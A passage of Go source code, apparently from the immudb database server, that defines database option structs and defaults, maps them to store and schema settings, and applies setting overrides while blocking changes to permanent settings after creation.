`json:\"excludeCommitTime\"`\n\n\tMaxActiveTransactions int `json:\"maxActiveTransactions\"`\n\tMVCCReadSetLimit      int `json:\"mvccReadSetLimit\"`\n\n\tMaxConcurrency   int `json:\"maxConcurrency\"`\n\tMaxIOConcurrency int `json:\"maxIOConcurrency\"`\n\n\tWriteBufferSize int `json:\"writeBufferSize\"`\n\n\tTxLogCacheSize          int `json:\"txLogCacheSize\"`\n\tVLogCacheSize           int `json:\"vLogCacheSize\"`\n\tVLogMaxOpenedFiles      int `json:\"vLogMaxOpenedFiles\"`\n\tTxLogMaxOpenedFiles     int `json:\"txLogMaxOpenedFiles\"`\n\tCommitLogMaxOpenedFiles int `json:\"commitLogMaxOpenedFiles\"`\n\tWriteTxHeaderVersion    int `json:\"writeTxHeaderVersion\"`\n\n\tReadTxPoolSize int `json:\"readTxPoolSize\"`\n\n\tIndexOptions *indexOptions `json:\"indexOptions\"`\n\n\tAHTOptions *ahtOptions `json:\"ahtOptions\"`\n\n\tAutoload featureState `json:\"autoload\"` // unspecfied is considered as enabled for backward compatibility\n\n\tCreatedBy string    `json:\"createdBy\"`\n\tCreatedAt time.Time `json:\"createdAt\"`\n\tUpdatedBy string    `json:\"updatedBy\"`\n\tUpdatedAt time.Time `json:\"updatedAt\"`\n\n\tRetentionPeriod     Milliseconds `json:\"retentionPeriod\"`\n\tTruncationFrequency Milliseconds `json:\"truncationFrequency\"` // ms\n}\n\ntype featureState int\n\nconst (\n\tunspecifiedState featureState = 0\n\tenabledState     featureState = 1\n\tdisabledState    featureState = 2\n)\n\nfunc (fs featureState) isEnabled() bool {\n\treturn fs == unspecifiedState || fs == enabledState\n}\n\ntype indexOptions struct {\n\tFlushThreshold           int          `json:\"flushThreshold\"`\n\tSyncThreshold            int          `json:\"syncThreshold\"`\n\tFlushBufferSize          int          `json:\"flushBufferSize\"`\n\tCleanupPercentage        float32      `json:\"cleanupPercentage\"`\n\tCacheSize                int          `json:\"cacheSize\"`\n\tMaxNodeSize              int          `json:\"maxNodeSize\"` // permanent\n\tMaxActiveSnapshots       int          `json:\"maxActiveSnapshots\"`\n\tRenewSnapRootAfter       int64        `json:\"renewSnapRootAfter\"` // ms\n\tCompactionThld           int          `json:\"compactionThld\"`\n\tDelayDuringCompaction    int64        `json:\"delayDuringCompaction\"` // ms\n\tNodesLogMaxOpenedFiles   int          `json:\"nodesLogMaxOpenedFiles\"`\n\tHistoryLogMaxOpenedFiles int          `json:\"historyLogMaxOpenedFiles\"`\n\tCommitLogMaxOpenedFiles  int          `json:\"commitLogMaxOpenedFiles\"`\n\tMaxBulkSize              int          `json:\"maxBulkSize\"`\n\tBulkPreparationTimeout   Milliseconds `json:\"bulkPreparationTimeout\"` // ms\n}\n\ntype ahtOptions struct {\n\tSyncThreshold   int `json:\"syncThreshold\"`\n\tWriteBufferSize int `json:\"writeBufferSize\"`\n}\n\nconst (\n\tDefaultMaxValueLen   = 1 << 25 //32Mb\n\tDefaultStoreFileSize = 1 << 29 //512Mb\n)\n\nfunc (s *ImmuServer) defaultDBOptions(dbName, userName string) *dbOptions {\n\tdbOpts := &dbOptions{\n\t\tDatabase: dbName,\n\n\t\tsynced:        s.Options.synced,\n\t\tSyncFrequency: Milliseconds(store.DefaultSyncFrequency.Milliseconds()),\n\n\t\tEmbeddedValues: store.DefaultEmbeddedValues,\n\t\tPreallocFiles:  store.DefaultPreallocFiles,\n\t\tFileSize:       DefaultStoreFileSize,\n\t\tMaxKeyLen:      store.DefaultMaxKeyLen,\n\t\tMaxValueLen:    DefaultMaxValueLen,\n\t\tMaxTxEntries:   store.DefaultMaxTxEntries,\n\n\t\tExcludeCommitTime: false,\n\n\t\tMaxActiveTransactions:   store.DefaultMaxActiveTransactions,\n\t\tMVCCReadSetLimit:        store.DefaultMVCCReadSetLimit,\n\t\tMaxConcurrency:          store.DefaultMaxConcurrency,\n\t\tMaxIOConcurrency:        store.DefaultMaxIOConcurrency,\n\t\tWriteBufferSize:         store.DefaultWriteBufferSize,\n\t\tTxLogCacheSize:          store.DefaultTxLogCacheSize,\n\t\tVLogCacheSize:           store.DefaultVLogCacheSize,\n\t\tVLogMaxOpenedFiles:      store.DefaultVLogMaxOpenedFiles,\n\t\tTxLogMaxOpenedFiles:     store.DefaultTxLogMaxOpenedFiles,\n\t\tCommitLogMaxOpenedFiles: store.DefaultCommitLogMaxOpenedFiles,\n\t\tWriteTxHeaderVersion:    store.DefaultWriteTxHeaderVersion,\n\t\tReadTxPoolSize:          database.DefaultReadTxPoolSize,\n\n\t\tIndexOptions: s.defaultIndexOptions(),\n\n\t\tAHTOptions: s.defaultAHTOptions(),\n\n\t\tAutoload: unspecifiedState,\n\n\t\tCreatedAt:           time.Now(),\n\t\tCreatedBy:           userName,\n\t\tTruncationFrequency: Milliseconds(database.DefaultTruncationFrequency.Milliseconds()),\n\t}\n\n\tif dbName == s.Options.systemAdminDBName || dbName == s.Options.defaultDBName {\n\t\trepOpts := s.Options.ReplicationOptions\n\n\t\tdbOpts.Replica = repOpts != nil && repOpts.IsReplica\n\n\t\tdbOpts.SyncReplication = repOpts.SyncReplication\n\n\t\tif dbOpts.Replica {\n\t\t\tdbOpts.PrimaryDatabase = dbOpts.Database // replica of systemdb and defaultdb must have the same name as in primary\n\t\t\tdbOpts.PrimaryHost = repOpts.PrimaryHost\n\t\t\tdbOpts.PrimaryPort = repOpts.PrimaryPort\n\t\t\tdbOpts.PrimaryUsername = repOpts.PrimaryUsername\n\t\t\tdbOpts.PrimaryPassword = repOpts.PrimaryPassword\n\t\t\tdbOpts.PrefetchTxBufferSize = repOpts.PrefetchTxBufferSize\n\t\t\tdbOpts.ReplicationCommitConcurrency = repOpts.ReplicationCommitConcurrency\n\t\t\tdbOpts.AllowTxDiscarding = repOpts.AllowTxDiscarding\n\t\t\tdbOpts.SkipIntegrityCheck = repOpts.SkipIntegrityCheck\n\t\t} else {\n\t\t\tdbOpts.SyncAcks = repOpts.SyncAcks\n\t\t}\n\t}\n\n\treturn dbOpts\n}\n\nfunc (s *ImmuServer) defaultIndexOptions() *indexOptions {\n\treturn &indexOptions{\n\t\tFlushThreshold:           tbtree.DefaultFlushThld,\n\t\tSyncThreshold:            tbtree.DefaultSyncThld,\n\t\tFlushBufferSize:          tbtree.DefaultFlushBufferSize,\n\t\tCleanupPercentage:        tbtree.DefaultCleanUpPercentage,\n\t\tCacheSize:                tbtree.DefaultCacheSize,\n\t\tMaxNodeSize:              tbtree.DefaultMaxNodeSize,\n\t\tMaxActiveSnapshots:       tbtree.DefaultMaxActiveSnapshots,\n\t\tRenewSnapRootAfter:       tbtree.DefaultRenewSnapRootAfter.Milliseconds(),\n\t\tCompactionThld:           tbtree.DefaultCompactionThld,\n\t\tDelayDuringCompaction:    tbtree.DefaultDelayDuringCompaction.Milliseconds(),\n\t\tNodesLogMaxOpenedFiles:   tbtree.DefaultNodesLogMaxOpenedFiles,\n\t\tHistoryLogMaxOpenedFiles: tbtree.DefaultHistoryLogMaxOpenedFiles,\n\t\tCommitLogMaxOpenedFiles:  tbtree.DefaultCommitLogMaxOpenedFiles,\n\t\tMaxBulkSize:              store.DefaultIndexingMaxBulkSize,\n\t\tBulkPreparationTimeout:   Milliseconds(store.DefaultBulkPreparationTimeout.Milliseconds()),\n\t}\n}\n\nfunc (s *ImmuServer) defaultAHTOptions() *ahtOptions {\n\treturn &ahtOptions{\n\t\tSyncThreshold:   ahtree.DefaultSyncThld,\n\t\tWriteBufferSize: ahtree.DefaultWriteBufferSize,\n\t}\n}\n\nfunc (s *ImmuServer) databaseOptionsFrom(opts *dbOptions) *database.Options {\n\treturn database.DefaultOptions().\n\t\tWithDBRootPath(s.Options.Dir).\n\t\tWithStoreOptions(s.storeOptionsForDB(opts.Database, s.remoteStorage, opts.storeOptions())).\n\t\tAsReplica(opts.Replica).\n\t\tWithSyncReplication(opts.SyncReplication).\n\t\tWithSyncAcks(opts.SyncAcks).\n\t\tWithReadTxPoolSize(opts.ReadTxPoolSize).\n\t\tWithRetentionPeriod(time.Millisecond * time.Duration(opts.RetentionPeriod)).\n\t\tWithTruncationFrequency(time.Millisecond * time.Duration(opts.TruncationFrequency)).\n\t\tWithMaxResultSize(s.Options.MaxResultSize)\n}\n\nfunc (opts *dbOptions) storeOptions() *store.Options {\n\tindexOpts := store.DefaultIndexOptions()\n\n\tif opts.IndexOptions != nil {\n\t\tindexOpts.\n\t\t\tWithFlushThld(opts.IndexOptions.FlushThreshold).\n\t\t\tWithSyncThld(opts.IndexOptions.SyncThreshold).\n\t\t\tWithFlushBufferSize(opts.IndexOptions.FlushBufferSize).\n\t\t\tWithCleanupPercentage(opts.IndexOptions.CleanupPercentage).\n\t\t\tWithCacheSize(opts.IndexOptions.CacheSize).\n\t\t\tWithMaxNodeSize(opts.IndexOptions.MaxNodeSize).\n\t\t\tWithMaxActiveSnapshots(opts.IndexOptions.MaxActiveSnapshots).\n\t\t\tWithRenewSnapRootAfter(time.Millisecond * time.Duration(opts.IndexOptions.RenewSnapRootAfter)).\n\t\t\tWithCompactionThld(opts.IndexOptions.CompactionThld).\n\t\t\tWithDelayDuringCompaction(time.Millisecond * time.Duration(opts.IndexOptions.DelayDuringCompaction)).\n\t\t\tWithNodesLogMaxOpenedFiles(opts.IndexOptions.NodesLogMaxOpenedFiles).\n\t\t\tWithHistoryLogMaxOpenedFiles(opts.IndexOptions.HistoryLogMaxOpenedFiles).\n\t\t\tWithCommitLogMaxOpenedFiles(opts.IndexOptions.CommitLogMaxOpenedFiles).\n\t\t\tWithMaxBulkSize(opts.IndexOptions.MaxBulkSize).\n\t\t\tWithBulkPreparationTimeout(time.Millisecond * time.Duration(opts.IndexOptions.BulkPreparationTimeout))\n\t}\n\n\tahtOpts := store.DefaultAHTOptions()\n\n\tif opts.AHTOptions != nil {\n\t\tahtOpts.WithSyncThld(opts.AHTOptions.SyncThreshold)\n\t\tahtOpts.WithWriteBufferSize(opts.AHTOptions.WriteBufferSize)\n\t}\n\n\tstOpts := store.DefaultOptions().\n\t\tWithEmbeddedValues(opts.EmbeddedValues).\n\t\tWithPreallocFiles(opts.PreallocFiles).\n\t\tWithSynced(opts.synced).\n\t\tWithSyncFrequency(time.Millisecond * time.Duration(opts.SyncFrequency)).\n\t\tWithFileSize(opts.FileSize).\n\t\tWithMaxKeyLen(opts.MaxKeyLen).\n\t\tWithMaxValueLen(opts.MaxValueLen).\n\t\tWithMaxTxEntries(opts.MaxTxEntries).\n\t\tWithWriteTxHeaderVersion(opts.WriteTxHeaderVersion).\n\t\tWithMaxActiveTransactions(opts.MaxActiveTransactions).\n\t\tWithMVCCReadSetLimit(opts.MVCCReadSetLimit).\n\t\tWithMaxConcurrency(opts.MaxConcurrency).\n\t\tWithMaxIOConcurrency(opts.MaxIOConcurrency).\n\t\tWithWriteBufferSize(opts.WriteBufferSize).\n\t\tWithTxLogCacheSize(opts.TxLogCacheSize).\n\t\tWithVLogCacheSize(opts.VLogCacheSize).\n\t\tWithVLogMaxOpenedFiles(opts.VLogMaxOpenedFiles).\n\t\tWithTxLogMaxOpenedFiles(opts.TxLogMaxOpenedFiles).\n\t\tWithCommitLogMaxOpenedFiles(opts.CommitLogMaxOpenedFiles).\n\t\tWithIndexOptions(indexOpts).\n\t\tWithAHTOptions(ahtOpts)\n\n\tif opts.ExcludeCommitTime {\n\t\tstOpts.WithTimeFunc(func() time.Time { return time.Unix(0, 0) })\n\t} else {\n\t\tstOpts.WithTimeFunc(func() time.Time { return time.Now() })\n\t}\n\n\treturn stOpts\n}\n\nfunc (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettings {\n\treturn &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: &schema.ReplicationNullableSettings{\n\t\t\tReplica:                      &schema.NullableBool{Value: opts.Replica},\n\t\t\tSyncReplication:              &schema.NullableBool{Value: opts.SyncReplication},\n\t\t\tPrimaryDatabase:              &schema.NullableString{Value: opts.PrimaryDatabase},\n\t\t\tPrimaryHost:                  &schema.NullableString{Value: opts.PrimaryHost},\n\t\t\tPrimaryPort:                  &schema.NullableUint32{Value: uint32(opts.PrimaryPort)},\n\t\t\tPrimaryUsername:              &schema.NullableString{Value: opts.PrimaryUsername},\n\t\t\tPrimaryPassword:              &schema.NullableString{Value: opts.PrimaryPassword},\n\t\t\tSyncAcks:                     &schema.NullableUint32{Value: uint32(opts.SyncAcks)},\n\t\t\tPrefetchTxBufferSize:         &schema.NullableUint32{Value: uint32(opts.PrefetchTxBufferSize)},\n\t\t\tReplicationCommitConcurrency: &schema.NullableUint32{Value: uint32(opts.ReplicationCommitConcurrency)},\n\t\t\tAllowTxDiscarding:            &schema.NullableBool{Value: opts.AllowTxDiscarding},\n\t\t\tSkipIntegrityCheck:           &schema.NullableBool{Value: opts.SkipIntegrityCheck},\n\t\t\tWaitForIndexing:              &schema.NullableBool{Value: opts.WaitForIndexing},\n\t\t},\n\n\t\tSyncFrequency: &schema.NullableMilliseconds{Value: int64(opts.SyncFrequency)},\n\n\t\tFileSize:       &schema.NullableUint32{Value: uint32(opts.FileSize)},\n\t\tMaxKeyLen:      &schema.NullableUint32{Value: uint32(opts.MaxKeyLen)},\n\t\tMaxValueLen:    &schema.NullableUint32{Value: uint32(opts.MaxValueLen)},\n\t\tMaxTxEntries:   &schema.NullableUint32{Value: uint32(opts.MaxTxEntries)},\n\t\tEmbeddedValues: &schema.NullableBool{Value: opts.EmbeddedValues},\n\t\tPreallocFiles:  &schema.NullableBool{Value: opts.PreallocFiles},\n\n\t\tExcludeCommitTime: &schema.NullableBool{Value: opts.ExcludeCommitTime},\n\n\t\tMaxActiveTransactions: &schema.NullableUint32{Value: uint32(opts.MaxActiveTransactions)},\n\t\tMvccReadSetLimit:      &schema.NullableUint32{Value: uint32(opts.MVCCReadSetLimit)},\n\n\t\tMaxConcurrency:   &schema.NullableUint32{Value: uint32(opts.MaxConcurrency)},\n\t\tMaxIOConcurrency: &schema.NullableUint32{Value: uint32(opts.MaxIOConcurrency)},\n\n\t\tWriteBufferSize: &schema.NullableUint32{Value: uint32(opts.WriteBufferSize)},\n\n\t\tTxLogCacheSize:          &schema.NullableUint32{Value: uint32(opts.TxLogCacheSize)},\n\t\tVLogCacheSize:           &schema.NullableUint32{Value: uint32(opts.VLogCacheSize)},\n\t\tVLogMaxOpenedFiles:      &schema.NullableUint32{Value: uint32(opts.VLogMaxOpenedFiles)},\n\t\tTxLogMaxOpenedFiles:     &schema.NullableUint32{Value: uint32(opts.TxLogMaxOpenedFiles)},\n\t\tCommitLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.CommitLogMaxOpenedFiles)},\n\n\t\tIndexSettings: &schema.IndexNullableSettings{\n\t\t\tFlushThreshold:           &schema.NullableUint32{Value: uint32(opts.IndexOptions.FlushThreshold)},\n\t\t\tSyncThreshold:            &schema.NullableUint32{Value: uint32(opts.IndexOptions.SyncThreshold)},\n\t\t\tFlushBufferSize:          &schema.NullableUint32{Value: uint32(opts.IndexOptions.FlushBufferSize)},\n\t\t\tCleanupPercentage:        &schema.NullableFloat{Value: opts.IndexOptions.CleanupPercentage},\n\t\t\tCacheSize:                &schema.NullableUint32{Value: uint32(opts.IndexOptions.CacheSize)},\n\t\t\tMaxNodeSize:              &schema.NullableUint32{Value: uint32(opts.IndexOptions.MaxNodeSize)},\n\t\t\tMaxActiveSnapshots:       &schema.NullableUint32{Value: uint32(opts.IndexOptions.MaxActiveSnapshots)},\n\t\t\tRenewSnapRootAfter:       &schema.NullableUint64{Value: uint64(opts.IndexOptions.RenewSnapRootAfter)},\n\t\t\tCompactionThld:           &schema.NullableUint32{Value: uint32(opts.IndexOptions.CompactionThld)},\n\t\t\tDelayDuringCompaction:    &schema.NullableUint32{Value: uint32(opts.IndexOptions.DelayDuringCompaction)},\n\t\t\tNodesLogMaxOpenedFiles:   &schema.NullableUint32{Value: uint32(opts.IndexOptions.NodesLogMaxOpenedFiles)},\n\t\t\tHistoryLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.IndexOptions.HistoryLogMaxOpenedFiles)},\n\t\t\tCommitLogMaxOpenedFiles:  &schema.NullableUint32{Value: uint32(opts.IndexOptions.CommitLogMaxOpenedFiles)},\n\t\t\tMaxBulkSize:              &schema.NullableUint32{Value: uint32(opts.IndexOptions.MaxBulkSize)},\n\t\t\tBulkPreparationTimeout:   &schema.NullableMilliseconds{Value: int64(opts.IndexOptions.BulkPreparationTimeout)},\n\t\t},\n\n\t\tAhtSettings: &schema.AHTNullableSettings{\n\t\t\tSyncThreshold:   &schema.NullableUint32{Value: uint32(opts.AHTOptions.SyncThreshold)},\n\t\t\tWriteBufferSize: &schema.NullableUint32{Value: uint32(opts.AHTOptions.WriteBufferSize)},\n\t\t},\n\n\t\tWriteTxHeaderVersion: &schema.NullableUint32{Value: uint32(opts.WriteTxHeaderVersion)},\n\n\t\tAutoload: &schema.NullableBool{Value: opts.Autoload.isEnabled()},\n\n\t\tReadTxPoolSize: &schema.NullableUint32{Value: uint32(opts.ReadTxPoolSize)},\n\n\t\tTruncationSettings: &schema.TruncationNullableSettings{\n\t\t\tRetentionPeriod:     &schema.NullableMilliseconds{Value: int64(opts.RetentionPeriod)},\n\t\t\tTruncationFrequency: &schema.NullableMilliseconds{Value: int64(opts.TruncationFrequency)},\n\t\t},\n\t}\n}\n\n// dbSettingsToDbSettingsV2 converts old schema.DatabaseSettings message into new schema.DatabaseSettingsV2\n// This is to add compatibility between old API using DatabaseSettings with new ones.\n// Only those fields that were present up to the 1.2.2 release are supported.\n// Changing any other fields requires new API calls.\nfunc dbSettingsToDBNullableSettings(settings *schema.DatabaseSettings) *schema.DatabaseNullableSettings {\n\tnullableUInt32 := func(v uint32) *schema.NullableUint32 {\n\t\tif v > 0 {\n\t\t\treturn &schema.NullableUint32{\n\t\t\t\tValue: v,\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\trepSettings := &schema.ReplicationNullableSettings{\n\t\tReplica:         &schema.NullableBool{Value: settings.Replica},\n\t\tPrimaryDatabase: &schema.NullableString{Value: settings.PrimaryDatabase},\n\t\tPrimaryHost:     &schema.NullableString{Value: settings.PrimaryHost},\n\t\tPrimaryPort:     &schema.NullableUint32{Value: settings.PrimaryPort},\n\t\tPrimaryUsername: &schema.NullableString{Value: settings.PrimaryUsername},\n\t\tPrimaryPassword: &schema.NullableString{Value: settings.PrimaryPassword},\n\t}\n\n\tif !settings.Replica {\n\t\trepSettings.SyncAcks = &schema.NullableUint32{}\n\t\trepSettings.PrefetchTxBufferSize = &schema.NullableUint32{}\n\t\trepSettings.ReplicationCommitConcurrency = &schema.NullableUint32{}\n\t}\n\n\tret := &schema.DatabaseNullableSettings{\n\t\tReplicationSettings: repSettings,\n\t\tFileSize:            nullableUInt32(settings.FileSize),\n\t\tMaxKeyLen:           nullableUInt32(settings.MaxKeyLen),\n\t\tMaxValueLen:         nullableUInt32(settings.MaxValueLen),\n\t\tMaxTxEntries:        nullableUInt32(settings.MaxTxEntries),\n\t}\n\n\treturn ret\n}\n\nfunc (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNullableSettings, existentDB bool) error {\n\tif existentDB {\n\t\t// permanent settings can not be changed after database is created\n\t\t// in the future, some settings may turn into non-permanent\n\n\t\tif settings.FileSize != nil {\n\t\t\treturn fmt.Errorf(\"%w: %s can not be changed after database creation ('%s')\", ErrIllegalArguments, \"file size\", opts.Database)\n\t\t}\n\n\t\tif settings.MaxKeyLen != nil {\n\t\t\treturn fmt.Errorf(\"%w: %s can not be changed after database creation ('%s')\", ErrIllegalArguments, \"max key length\", opts.Database)\n\t\t}\n\n\t\tif settings.MaxValueLen != nil {\n\t\t\treturn fmt.Errorf(\"%w: %s can not be changed after database creation ('%s')\", ErrIllegalArguments, \"max value length\", opts.Database)\n\t\t}\n\n\t\tif settings.MaxTxEntries != nil {\n\t\t\treturn fmt.Errorf(\"%w: %s can not be changed after database creation ('%s')\", ErrIllegalArguments,\n\t\t\t\t\"max number of entries per transaction\", opts.Database)\n\t\t}\n\n\t\tif settings.EmbeddedValues != nil {\n\t\t\treturn fmt.Errorf(\"%w: %s can not be changed after database creation ('%s')\", ErrIllegalArguments,\n\t\t\t\t\"embedded values\", opts.Database)\n\t\t}\n\n\t\tif settings.PreallocFiles != nil {\n\t\t\treturn fmt.Errorf(\"%w: %s can not be changed after database creation ('%s')\", ErrIllegalArguments,\n\t\t\t\t\"prealloc files\", opts.Database)\n\t\t}\n\n\t\tif settings.IndexSettings != nil && settings.IndexSettings.MaxNodeSize != nil {\n\t\t\treturn fmt.Errorf(\"%w: %s can not be changed after database creation ('%s')\", ErrIllegalArguments, \"max node size\", opts.Database)\n\t\t}\n\n\t\topts.UpdatedAt = time.Now()\n\t}\n\n\topts.synced = s.Options.synced\n\n\t// database instance options\n\tif settings.ReadTxPoolSize != nil {\n\t\topts.ReadTxPoolSize = int(settings.ReadTxPoolSize.Value)\n\t}\n\n\t// replication settings\n\tif settings.ReplicationSettings != nil {\n\t\trs := settings.ReplicationSettings\n\n\t\tif rs.Replica != nil {\n\t\t\topts.Replica = rs.Replica.Value\n\t\t}\n\t\tif rs.SyncReplication != nil {\n\t\t\topts.SyncReplication = rs.SyncReplication.Value\n\t\t}\n\t\tif rs.SyncAcks != nil {\n\t\t\topts.SyncAcks = int(rs.SyncAcks.Value)\n\t\t} else if opts.Replica {\n\t\t\topts.SyncAcks = 0\n\t\t}\n\t\tif rs.PrimaryDatabase != nil {\n\t\t\topts.PrimaryDatabase = rs.PrimaryDatabase.Value\n\t\t} else if !opts.Replica {\n\t\t\topts.PrimaryDatabase = \"\"\n\t\t}\n\t\tif rs.PrimaryHost != nil {\n\t\t\topts.PrimaryHost = rs.PrimaryHost.Value\n\t\t} else if !opts.Replica {\n\t\t\topts.PrimaryHost = \"\"\n\t\t}\n\t\tif rs.PrimaryPort != nil {\n\t\t\topts.PrimaryPort = int(rs.PrimaryPort.Value)\n\t\t} else if !opts.Replica {\n\t\t\topts.PrimaryPort = 0\n\t\t}\n\t\tif rs.PrimaryUsername != nil {\n\t\t\topts.PrimaryUsername = rs.PrimaryUsername.Value\n\t\t} else if !opts.Replica {\n\t\t\topts.PrimaryUsername = \"\"\n\t\t}\n\t\tif rs.PrimaryPassword != nil {\n\t\t\topts.PrimaryPassword = rs.PrimaryPassword.Value\n\t\t} else if !opts.Replica {\n\t\t\topts.PrimaryPassword = \"\"\n\t\t}\n\t\tif rs.PrefetchTxBufferSize != nil {\n\t\t\topts.PrefetchTxBufferSize = int(rs.PrefetchTxBufferSize.Value)\n\t\t} else if opts.Replica && opts.PrefetchTxBufferSize == 0 {\n\t\t\t// set default value when it's not set\n\t\t\topts.PrefetchTxBufferSize = replication.DefaultPrefetchTxBufferSize\n\t\t} else if !opts.Replica {\n\t\t\topts.PrefetchTxBufferSize = 0\n\t\t}\n\t\tif rs.ReplicationCommitConcurrency != nil {\n\t\t\topts.ReplicationCommitConcurrency = int(rs.ReplicationCommitConcurrency.Value)\n\t\t} else if opts.Replica && opts.ReplicationCommitConcurrency == 0 {\n\t\t\t// set default value when it's not set\n\t\t\topts.ReplicationCommitConcurrency = replication.DefaultReplicationCommitConcurrency\n\t\t} else if !opts.Replica {\n\t\t\topts.ReplicationCommitConcurrency = 0\n\t\t}\n\t\tif rs.AllowTxDiscarding != nil {\n\t\t\topts.AllowTxDiscarding = rs.AllowTxDiscarding.Value\n\t\t}\n\t\tif rs.SkipIntegrityCheck != nil {\n\t\t\topts.SkipIntegrityCheck = rs.SkipIntegrityCheck.Value\n\t\t}\n\t\tif rs.WaitForIndexing != nil {\n\t\t\topts.WaitForIndexing = rs.WaitForIndexing.Value\n\t\t}\n\t}\n\n\t// store options\n\n\tif settings.SyncFrequency != nil {\n\t\topts.SyncFrequency = Milliseconds(settings.SyncFrequency.Value)\n\t}\n\n\tif settings.FileSize != nil {\n\t\topts.FileSize = int(settings.FileSize.Value)\n\t}\n\n\tif settings.MaxKeyLen != nil {\n\t\topts.MaxKeyLen = int(settings.MaxKeyLen.Value)\n\t}\n\n\tif settings.MaxValueLen != nil {\n\t\topts.MaxValueLen = int(settings.MaxValueLen.Value)\n\t}\n\n\tif settings.MaxTxEntries != nil {\n\t\topts.MaxTxEntries = int(settings.MaxTxEntries.Value)\n\t}\n\n\tif settings.EmbeddedValues != nil {\n\t\topts.EmbeddedValues = settings.EmbeddedValues.Value\n\t}\n\n\tif settings.PreallocFiles != nil {\n\t\topts.PreallocFiles = settings.PreallocFiles.Value\n\t}\n\n\tif settings.ExcludeCommitTime != nil {\n\t\topts.ExcludeCommitTime = settings.ExcludeCommitTime.Value\n\t}\n\n\tif settings.MaxActiveTransactions != nil {\n\t\topts.MaxActiveTransactions = int(settings.MaxActiveTransactions.Value)\n\t}\n\tif settings.MvccReadSetLimit != nil {\n\t\topts.MVCCReadSetLimit = int(settings.MvccReadSetLimit.Value)\n\t}\n\n\tif settings.MaxConcurrency != nil {\n\t\topts.MaxConcurrency = int(settings.MaxConcurrency.Value)\n\t}\n\tif settings.MaxIOConcurrency != nil {\n\t\topts.MaxIOConcurrency = int(settings.MaxIOConcurrency.Value)\n\t}\n\n\tif settings.WriteBufferSize != nil {\n\t\topts.WriteBufferSize = int(settings.WriteBufferSize.Value)\n\t}\n\n\tif settings.TxLogCacheSize != nil {\n\t\topts.TxLogCacheSize = int(settings.TxLogCacheSize.Value)\n\t}\n\tif settings.VLogCacheSize != nil {\n\t\topts.VLogCacheSize = int(settings.VLogCacheSize.Value)\n\t}\n\tif settings.VLogMaxOpenedFiles != nil {\n\t\topts.VLogMaxOpenedFiles = int(settings.VLogMaxOpenedFiles.Value)\n\t}\n\tif settings.TxLogMaxOpenedFiles != nil {\n\t\topts.TxLogMaxOpenedFiles = int(settings.TxLogMaxOpenedFiles.Value)\n\t}\n\tif settings.CommitLogMaxOpenedFiles != nil {\n\t\topts.CommitLogMaxOpenedFiles = int(settings.CommitLogMaxOpenedFiles.Value)\n\t}\n\n\tif settings.WriteTxHeaderVersion != nil {\n\t\topts.WriteTxHeaderVersion = int(settings.WriteTxHeaderVersion.Value)\n\t}\n\n\tif settings.Autoload != nil {\n\t\tif settings.Autoload.Value {\n\t\t\topts.Autoload = enabledState\n\t\t} else {\n\t\t\topts.Autoload = disabledState\n\t\t}\n\t}\n\n\tif settings.TruncationSettings != nil {\n\t\tif settings.TruncationSettings.RetentionPeriod != nil {\n\t\t\topts.RetentionPeriod = Milliseconds(settings.TruncationSettings.RetentionPeriod.Value)\n\t\t}\n\n\t\tif settings.TruncationSettings.TruncationFrequency != nil {\n\t\t\topts.TruncationFrequency = Milliseconds(settings.TruncationSettings.TruncationFrequency.Value)\n\t\t}\n\t}\n\n\t// index options\n\tif settings.IndexSettings != nil {\n\t\tif opts.IndexOptions == nil {\n\t\t\topts.IndexOptions = s.defaultIndexOptions()\n\t\t}\n\n\t\tif settings.IndexSettings.FlushThreshold != nil {\n\t\t\topts.IndexOptions.FlushThreshold = int(settings.IndexSettings.FlushThreshold.Value)\n\t\t}\n\t\tif settings.IndexSettings.SyncThreshold != nil {\n\t\t\topts.IndexOptions.SyncThreshold = int(settings.IndexSettings.SyncThreshold.Value)\n\t\t}\n\t\tif settings.IndexSettings.FlushBufferSize != nil {\n\t\t\topts.IndexOptions.FlushBufferSize = int(settings.IndexSettings.FlushBufferSize.Value)\n\t\t}\n\t\tif settings.IndexSettings.CleanupPercentage != nil {\n\t\t\topts.IndexOptions.CleanupPercentage = settings.IndexSettings.CleanupPercentage.Value\n\t\t}\n\t\tif settings.IndexSettings.CacheSize != nil {\n\t\t\topts.IndexOptions.CacheSize = int(settings.IndexSettings.CacheSize.Value)\n\t\t}\n\t\tif settings.IndexSettings.MaxNodeSize != nil {\n\t\t\topts.IndexOptions.MaxNodeSize = int(settings.IndexSettings.MaxNodeSize.Value)\n\t\t}\n\t\tif settings.IndexSettings.MaxActiveSnapshots != nil {\n\t\t\topts.IndexOptions.MaxActiveSnapshots = int(settings.IndexSettings.MaxActiveSnapshots.Value)\n\t\t}\n\t\tif settings.IndexSettings.RenewSnapRootAfter != nil {\n\t\t\topts.IndexOptions.RenewSnapRootAfter = int64(settings.IndexSettings.RenewSnapRootAfter.Value)\n\t\t}\n\t\tif settings.IndexSettings.CompactionThld != nil {\n\t\t\topts.IndexOptions.CompactionThld = int(settings.IndexSettings.CompactionThld.Value)\n\t\t}\n\t\tif settings.IndexSettings.DelayDuringCompaction != nil {\n\t\t\topts.IndexOptions.DelayDuringCompaction = int64(settings.IndexSettings.DelayDuringCompaction.Value)\n\t\t}\n\t\tif settings.IndexSettings.NodesLogMaxOpenedFiles != nil {\n\t\t\topts.IndexOptions.NodesLogMaxOpenedFiles = int(settings.IndexSettings.NodesLogMaxOpenedFiles.Value)\n\t\t}\n\t\tif settings.IndexSettings.HistoryLogMaxOpenedFiles != nil {\n\t\t\topts.IndexOptions.HistoryLogMaxOpenedFiles = int(settings.IndexSettings.HistoryLogMaxOpenedFiles.Value)\n\t\t}\n\t\tif settings.IndexSettings.CommitLogMaxOpenedFiles != nil {\n\t\t\topts.IndexOptions.CommitLogMaxOpenedFiles = int(settings.IndexSettings.CommitLogMaxOpenedFiles.Value)\n\t\t}\n\t\tif settings.IndexSettings.MaxBulkSize != nil {\n\t\t\topts.IndexOptions.MaxBulkSize = int(settings.IndexSettings.MaxBulkSize.Value)\n\t\t}\n\t\tif settings.IndexSettings.BulkPreparationTimeout != nil {\n\t\t\topts.IndexOptions.BulkPreparationTimeout = Milliseconds(settings.IndexSettings.BulkPreparationTimeout.Value)\n\t\t}\n\t}\n\n\t// aht options\n\tif settings.AhtSettings != nil 